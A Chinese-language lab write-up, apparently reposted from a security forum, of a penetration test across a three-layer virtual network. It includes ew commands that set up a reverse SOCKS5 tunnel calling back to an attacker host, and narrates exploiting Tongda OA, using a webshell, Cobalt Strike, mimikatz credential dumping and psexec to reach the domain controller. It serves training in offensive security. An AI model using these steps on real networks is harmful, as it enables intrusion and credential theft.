记一次三层网络环境下的域渗透

相关说明:
DMZ区域：
给Ubuntu1配置了两个网卡，一个桥接可以对外提供服务；一个连接在VMnet8上连通第二层网络。

第二层网络区域：
给Ubuntu2和Windows7都配置了两个网卡，一个连接在VMnet8上连通第二层网络，一个连接在VMnet14上连通第三层网络。

第三次网络区域：
给Windows Server 2012和Windows7都只配置了一个网卡，一个连接在VMnet14上连通第三层网络。

再使用Fscan进行扫描第二块网卡的网段
192.168.52.30有个通达OA、还存在MS17-010

这里使用ew启一个反向socks5
攻击机设置:

ew_for_Win.exe -s rcsocks -l 1080 -e 1234

DMZ区ubuntu1：

ew_for_linux64 -s rssocks -d 192.168.137.49 -e 1234

配置Proxifier访问攻击机的1080端口来使用内网web服务器上面架设的socks代理服务了

查看通达OA版本：

使用通达OA综合利用工具进行检测

蚁剑进行连接Webshell

内网域内信息收集:
本机信息：
system权限

路由信息：

ipconfig /all 发现也是 52.0/24 93.0/24两个网段
并且存在域whoamianony.org

域控为192.168.93.30

查看域内主机名：当前是pc1

因为可以出网，所以直接执行命令上线了CS
使用mimikatz直接导出了域管和bunny域用户的密码：

所有域用户:

域管:

域控:

直接使用CS自带的端口扫描，用win7的beacon对93段进行探测：

192.168.93.30是域控
然后我们使用smb beacon进行psexec就可以了

这样就打完三层网络渗透

文章来源：先知社区-hacker和小黑

原文链接：https://xz.aliyun.com/t/12234